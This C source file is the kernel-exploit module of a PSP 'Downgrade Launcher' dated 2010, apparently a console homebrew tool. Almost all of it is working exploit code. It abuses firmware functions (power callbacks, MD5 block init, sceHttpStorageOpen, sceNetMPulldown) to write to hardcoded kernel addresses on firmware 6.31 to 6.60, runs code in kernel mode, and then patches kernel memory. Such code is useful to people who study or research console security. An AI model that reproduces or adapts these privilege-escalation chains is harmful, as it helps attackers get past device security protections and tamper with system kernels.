/*
	Downgrade Launcher -> kernel_exploit.c -> Responsible for doin' sum epik lolhax on teh kurnal
	by Davee
	
	28/12/2010
*/

#include <pspkernel.h>
#include <pspsysmem_kernel.h>
#include <psputility.h>

#include <stdio.h>
#include <string.h>

#include "kernel_exploit.h"
#include "kernel_land.h"
#include "utils.h"
#include "rebootex.h"

int sceKernelPowerLock(void *ptr, u32 kexec_address);
u32 getPowerAddress(SceUID callback);

/* function pointers */
int (* sceKernelUtilsMd5BlockInitHax)(u32 addr, u32 check_result, u32 unused2, u32 k1) = (void *)sceKernelUtilsMd5BlockInit;
int (* sceHttpStorageOpen) (u32 kaddrs, u32 unk, u32 unk2);

int sceUtilityPowerRegisterCallback(int slot, SceUID callback);

int sceUtilityPowerunRegisterCallback(int slot);

/* globals */
u32 g_kfunctions_resolved = 0;

int DummyCallback(void)
{
	return 0;
}

int pre_kernel(int (* kfunc)(void))
{
	int i;
	
	/* set $k1 */
	asm("move $k1, $0\n");
	
	/* check if we've resolved the kernel function pointers */
	if (g_kfunctions_resolved == 0)
	{
		/* Resolve the kernel function */
		/* Search kmem for the sceKernelFindModuleByName */
		for (i = 0x88000000; i < (0x88400000 - 0x54 - 4); i += 4)
		{
			if (_lw(i+0x00) == 0x27BDFFE0 && _lw(i+0x04) == 0xAFB40010 &&
				_lw(i+0x08) == 0xAFB3000C && _lw(i+0x0C) == 0xAFB20008 &&
				_lw(i+0x10) == 0x00009021 && _lw(i+0x14) == 0x02409821 &&
				_lw(i+0x54) == 0x0263202A)
			{
				/* found it, i = address of function */
				pspKernelFindModuleByName = (void *)i;
				break;
			}
		}
		
		/* find our functions */
		if(g_devkit_version == FIRMWARE_VERSION_660)
		{
			pspKernelGetModel = (void *)FindProc("sceSystemMemoryManager", "SysMemForKernel", 0x07C586A1); //6.31/6.35
			pspKernelLoadExecVSHEf1 = (void *)FindProc("sceLoadExec", "LoadExecForKernel", 0x16A68007); //6.31/6.35
			pspKernelLoadExecVSHMs1 = (void *)FindProc("sceLoadExec", "LoadExecForKernel", 0x4FB44D27); //6.31/6.35
			
			pspIoOpen = (void *)FindProc("sceIOFileManager", "IoFileMgrForKernel", 0x109F50BC);	
			pspIoWrite = (void *)FindProc("sceIOFileManager", "IoFileMgrForKernel", 0x42EC03AC);
			pspIoClose = (void *)FindProc("sceIOFileManager", "IoFileMgrForKernel", 0x810C4BC3);
		}
		else
		{
			pspKernelGetModel = (void *)FindProc("sceSystemMemoryManager", "SysMemForKernel", 0x458A70B5); //6.31/6.35
			pspKernelLoadExecVSHEf1 = (void *)FindProc("sceLoadExec", "LoadExecForKernel", 0xCEFE1100); //6.31/6.35
			pspKernelLoadExecVSHMs1 = (void *)FindProc("sceLoadExec", "LoadExecForKernel", 0x7286CF0B); //6.31/6.35
			
			pspIoOpen = (void *)FindProc("sceIOFileManager", "IoFileMgrForKernel", 0x109F50BC);	
			pspIoWrite = (void *)FindProc("sceIOFileManager", "IoFileMgrForKernel", 0x42EC03AC);
			pspIoClose = (void *)FindProc("sceIOFileManager", "IoFileMgrForKernel", 0x810C4BC3);
		}

		/* set resolved flag */
		g_kfunctions_resolved = 1;
	}
	
	/* Clear the caches */
	KClearCaches();
	return kfunc();
}


int repairKernel631(void)
{
	/* repair the MD5 functionality */
	_sw(0x00003821, 0x88000000 + 0xF270);
	_sw(0x001B3AC0, 0x88000000 + 0xF274);
	_sw(0x3C068002, 0x88000000 + 0xF278);
	_sw(0x00E42824, 0x88000000 + 0xF27C);
	
	/* repair the suspend library */
	_sw(0x8CC54230, 0x88000000 + 0xCD38);
	_sw(0x00402021, 0x88000000 + 0xCD3C);
	_sw(0x24A20001, 0x88000000 + 0xCD40);
	_sw(0x0E0047EE, 0x88000000 + 0xCD44);
	_sw(0xACC24230, 0x88000000 + 0xCD48);
	_sw(0x0A003348, 0x88000000 + 0xCD4C);
	_sw(0x00001021, 0x88000000 + 0xCD50);
	
	return 0;
}

int repairKernel635(void)
{
	/* repair the MD5 functionality */
	_sw(0x00003821, 0x88000000 + 0xF150);
	_sw(0x001B3AC0, 0x88000000 + 0xF154);
	_sw(0x3C068002, 0x88000000 + 0xF158);
	_sw(0x00E42824, 0x88000000 + 0xF15C);
	
	/* repair the suspend library */
	_sw(0x8CC540F0, 0x88000000 + 0xCC18);
	_sw(0x00402021, 0x88000000 + 0xCC1C);
	_sw(0x24A20001, 0x88000000 + 0xCC20);
	_sw(0x0E0047A6, 0x88000000 + 0xCC24);
	_sw(0xACC240F0, 0x88000000 + 0xCC28);
	_sw(0x0A003300, 0x88000000 + 0xCC2C);
	_sw(0x00001021, 0x88000000 + 0xCC30);
	
	return 0;
}

int execKernelFunction631(void *kfunc)
{
	/* set a pointer sequence in order the comply with the exploits loading sequence */
	u32 kernel_exec_func = ((u32)pre_kernel) | 0x80000000;
	u32 kernel_exec_ptr = ((u32)&kernel_exec_func) - 16;
	
	/* syscall jump into kmode which will end up jumping to pre_kernel_entry function */
	int res = sceKernelPowerLock((void *)((u32)kfunc | 0x80000000), ((u32)&kernel_exec_ptr) - 0x4234);
	
	/* clear the caches and return the value from the kernel function */
	ClearCaches();
	return res;
}

int execKernelFunction635(void *kfunc)
{
	/* set a pointer sequence in order the comply with the exploits loading sequence */
	u32 kernel_exec_func = ((u32)pre_kernel) | 0x80000000;
	u32 kernel_exec_ptr = ((u32)&kernel_exec_func) - 16;
	
	/* syscall jump into kmode which will end up jumping to pre_kernel_entry function */
	int res = sceKernelPowerLock((void *)((u32)kfunc | 0x80000000), ((u32)&kernel_exec_ptr) - 0x40F4);
	
	/* clear the caches and return the value from the kernel function */
	ClearCaches();
	return res;
}

int execKernelFunction660(void *kfunc)
{
	/* set a pointer sequence in order the comply with the exploits loading sequence */
	u32 kernel_exec_func = ((u32)pre_kernel) | 0x80000000;
	u32 kernel_exec_ptr = ((u32)&kernel_exec_func) - 16;
	
	/* syscall jump into kmode which will end up jumping to pre_kernel_entry function */
	int res = sceKernelPowerLock((void *)((u32)kfunc | 0x80000000), ((u32)&kernel_exec_ptr) - 0x40F8);
	
	/* clear the caches and return the value from the kernel function */
	ClearCaches();
	return res;
}

int execKernelFunction(void *kfunc)
{
	/* execute kernel mode pending on the system version */
	if (sceKernelDevkitVersion() == FIRMWARE_VERSION_631)
	{
		/* 6.31 exploit */
		return execKernelFunction631(kfunc);
	}
	else if (sceKernelDevkitVersion() == FIRMWARE_VERSION_635 ||
			 sceKernelDevkitVersion() == FIRMWARE_VERSION_638 ||
			 sceKernelDevkitVersion() == FIRMWARE_VERSION_639)
	{
		/* 6.35 exploit */
		return execKernelFunction635(kfunc);
	}
	else if (sceKernelDevkitVersion() == FIRMWARE_VERSION_660)
	{
		return execKernelFunction660(kfunc);
	}
	
	return 0;
}

SceLibraryStubTable *findLibraryByName(char *libname, u32 address)
{
	u32 i = 0;
	
	/* search through umem for the libname */
	for (i = address; i < (0x08800000 + (24 << 20)); i += 4)
	{
		/* cast a stub */
		SceLibraryStubTable *stub = (SceLibraryStubTable *)i;
		
		/* check for valid address */
		if ((stub->libname != libname) && isValidUserAddress((void *)stub->libname) && isValidUserAddress(stub->nidtable) && isValidUserAddress(stub->stubtable))
		{
			/* check libname */
			if (strcmp(libname, stub->libname) == 0)
			{
				/* found it */
				return stub;
			}
		}
	}
	
	/* error */
	ErrorExit(5000, "Error, could not find library %s\n", libname);
	return NULL;
}

void *getFunctionFromLibrary(SceLibraryStubTable *stub, u32 nid)
{
	int i;
	
	/* cast this so we're not always loading from stub struct */
	u32 *nids = stub->nidtable;
	
	/* loop through */
	for (i = 0; i < stub->stubcount; i++)
	{
		/* check for nid */
		if (nids[i] == nid)
		{
			/* we got it, pal */
			return (void *)((u32)stub->stubtable + (i << 3));
		}
	}
	
	/* error, not found */
	ErrorExit(5000, "Error, could not find nid 0x%08X in library %s\n", nid, stub->libname);
	return NULL;
}

void doKernelExploit631(void)
{
	u32 power_address = 0;

#ifdef HBL_SUKKIRI
	/* get proper MD5 imports (HBL does not resolve properly) */
	u32 address = (u32)findLibraryByName("sceNetIfhandle_lib", 0x08800000);
	SceLibraryStubTable *stub = findLibraryByName("UtilsForUser", address - 0x500);
	
	/* copy over the stubs */
	memcpy(sceKernelUtilsMd5BlockInit, getFunctionFromLibrary(stub, 0x9E5C5086), 8);
	memcpy(sceKernelUtilsMd5BlockUpdate, getFunctionFromLibrary(stub, 0x61E1E525), 8);
	memcpy(sceKernelUtilsMd5BlockResult, getFunctionFromLibrary(stub, 0xB8D24E78), 8);
	
	/* get our stub pointer */
	stub = findLibraryByName("sceUtility_private", 0x08800000);
	
	/* get our exploit functions */
	memcpy(sceUtilityPowerRegisterCallback, getFunctionFromLibrary(stub, 0xE65F37C8), 8); //6.31 nid
	memcpy(sceUtilityPowerunRegisterCallback, getFunctionFromLibrary(stub, 0x9ABAFCC5), 8); //6.31 nid
#endif

	/* create a callback */
	SceUID callback = sceKernelCreateCallback("Callback", (void *)DummyCallback, NULL);
	
	/* check for error */
	if (callback < 0)
	{
		return ErrorExit(5000, "Error creating callback\n");
	}
	
	/* register slot 0 (ignore error, use to ensure slot has a registered entry) */
	sceUtilityPowerRegisterCallback(0, callback);
	
	/* get the power address */
	power_address = getPowerAddress(callback);
	
	/* unregister again */
	sceUtilityPowerunRegisterCallback(0);
	
	/* bingo, we've got it! set sysmem addr to seek backwards from this address so when used in the callback func, it is directly at sysmem */
	u32 sysmem_addr = (~(power_address - 0x88000000) + 1) >> 4;

	/* unregister in order to remove any positive value ignore return value */
	sceUtilityPowerunRegisterCallback(sysmem_addr + 0xF27); //6.31
	
	/* commit changes */
	ClearCaches();
	
	/* call register callback in order to activate the exploit */
	int res = sceUtilityPowerRegisterCallback(sysmem_addr + 0xF27, callback); //6.31
	
	/* check for error */
	if (res < 0)
	{
		/* error activating exploit */
		return ErrorExit(5000, "Error 0x%08X activating kernel exploit\n", res);
	}
	
	/* delete the callback */
	sceKernelDeleteCallback(callback);
	
	/* clear caches */
	ClearCaches();
	
	/* now use the MD5 function to cause exploit */
	sceKernelUtilsMd5BlockInitHax(0x8800CD54 - 28, 0, 0, 0); //6.31

	/* clear caches, allow changes to commit */
	ClearCaches();
	
	/* now you can use the 6.31 kernel call */
	execKernelFunction631(repairKernel631);
}

void doKernelExploit635(void)
{
	u32 power_address = 0;

#ifdef HBL_SUKKIRI
	/* get proper MD5 imports (HBL does not resolve properly) */
	u32 address = (u32)findLibraryByName("sceNetIfhandle_lib", 0x08800000);
	SceLibraryStubTable *stub = findLibraryByName("UtilsForUser", address - 0x500);
	
	/* copy over the stubs */
	memcpy(sceKernelUtilsMd5BlockInit, getFunctionFromLibrary(stub, 0x9E5C5086), 8);
	memcpy(sceKernelUtilsMd5BlockUpdate, getFunctionFromLibrary(stub, 0x61E1E525), 8);
	memcpy(sceKernelUtilsMd5BlockResult, getFunctionFromLibrary(stub, 0xB8D24E78), 8);
	
	/* get our stub pointer */
	stub = findLibraryByName("sceUtility_private", 0x08800000);
	
	/* get our exploit functions */
	memcpy(sceUtilityPowerRegisterCallback, getFunctionFromLibrary(stub, 0xE65F37C8), 8); //6.31/6.35 nid
	memcpy(sceUtilityPowerunRegisterCallback, getFunctionFromLibrary(stub, 0x9ABAFCC5), 8); //6.31/6.35 nid
#endif

	/* create a callback */
	SceUID callback = sceKernelCreateCallback("Callback", (void *)DummyCallback, NULL);
	
	/* check for error */
	if (callback < 0)
	{
		return ErrorExit(5000, "Error creating callback\n");
	}
	
	/* register slot 0 (ignore error, use to ensure slot has a registered entry) */
	sceUtilityPowerRegisterCallback(0, callback);
	
	/* get the power address */
	power_address = getPowerAddress(callback);
	
	/* unregister again */
	sceUtilityPowerunRegisterCallback(0);
	
	/* bingo, we've got it! set sysmem addr to seek backwards from this address so when used in the callback func, it is directly at sysmem */
	u32 sysmem_addr = (~(power_address - 0x88000000) + 1) >> 4;

	/* unregister in order to remove any positive value ignore return value */
	sceUtilityPowerunRegisterCallback(sysmem_addr + 0xF15); //6.35
	
	/* commit changes */
	ClearCaches();
	
	/* call register callback in order to activate the exploit */
	int res = sceUtilityPowerRegisterCallback(sysmem_addr + 0xF15, callback); //6.35
	
	/* check for error */
	if (res < 0)
	{
		/* error activating exploit */
		return ErrorExit(5000, "Error 0x%08X activating kernel exploit\n", res);
	}
	
	/* delete the callback */
	sceKernelDeleteCallback(callback);
	
	/* clear caches */
	ClearCaches();
	
	/* now use the MD5 function to cause exploit */
	sceKernelUtilsMd5BlockInitHax(0x8800CC34 - 28, 0, 0, 0); //6.35

	/* clear caches, allow changes to commit */
	ClearCaches();
	
	/* now you can use the 6.35 kernel call */
	execKernelFunction635(repairKernel635);
}

int nopOut()
{
	_sw(0x00000000, 0x8800CC34);
	return 0;
}

void doKernelExploit638(void)
{
	int modid, i;
	
	/* Load necessary modules */
	for(i = 1; i < 7; i++)
		modid = sceUtilityLoadNetModule(i);
	
	SceLibraryStubTable *stub = findLibraryByName("sceHttpStorage", 0x08800000);
	sceHttpStorageOpen = (void *) getFunctionFromLibrary(stub, 0x700AAD44); 

	/* Overwrite the addition of a global, so I can write to a direct address */
	int ret = sceHttpStorageOpen(-0x990>>2, 0, 0);
	
	/* DelayThread fixes, REQUIRED */
	sceKernelDelayThread(1000000);
	ClearCaches();

	/* vsync 0xFFFF out powerLock */
	ret = sceHttpStorageOpen(0x8800CC34>>2, 0, 0);
	ClearCaches();

	/* use PowerLock to run the function nopOut in kmode, which nop's out the vsync, so now non vfpu enabled threads can use powerLock */
	execKernelFunction635(nopOut);

	/* Finally, Clear caches */
	ClearCaches();
	
	/* Unload Modules */
	for(i = 6; i > 0; i--)
		sceUtilityUnloadNetModule(i);
}

void doKernelExploit660(void)
{
	u32 val;
	sceKernelIfHandleParam param_top;
	sceKernelIfHandleParam param_sub;
	
	sceUtilityLoadNetModule(1);
	
	memset(&param_top, 0, sizeof(sceKernelIfHandleParam));
	memset(&param_sub, 0, sizeof(sceKernelIfHandleParam));
	
	val = 0;
	
	/* Fill sub structure */
	param_sub.unk_8 = (u32)&val;
	param_sub.unk_12 = sizeof(u32);
	
	/* Fill top structure */
	param_top.unk_0 = &param_sub;
	param_top.unk_12 = 1;
	param_top.unk_18 = 1;
	param_top.unk_68 = (u32)&param_top;
	param_top.unk_8 = 0x8800CBB8 - param_top.unk_12;
	param_top.unk_48 = 0x8800CBB8;
	param_top.unk_60 = sizeof(u32);
	
	sceNetMPulldown(&param_top, 0, param_top.unk_12 + sizeof(u32), NULL);
	
	ClearCaches();
}

void doKernelExploit(void)
{
	/* ok, lets check firmware version */
	if (sceKernelDevkitVersion() == FIRMWARE_VERSION_631)
	{
		/* do ksploit for 6.31 */
		doKernelExploit631();
	}
	else if (sceKernelDevkitVersion() == FIRMWARE_VERSION_635)
	{
		/* do ksploit for 6.35 */
		doKernelExploit635();
	}
	else if (sceKernelDevkitVersion() == FIRMWARE_VERSION_638 || sceKernelDevkitVersion() == FIRMWARE_VERSION_639)
	{
		/* do ksploit for 6.38 */
		doKernelExploit638();
	}
	else if (sceKernelDevkitVersion() == FIRMWARE_VERSION_660)
	{
		doKernelExploit660();
	}
	else
	{
		/* not supported */
		ErrorExit(5000, "Error, your firmware is not supported.\n");
	}
}
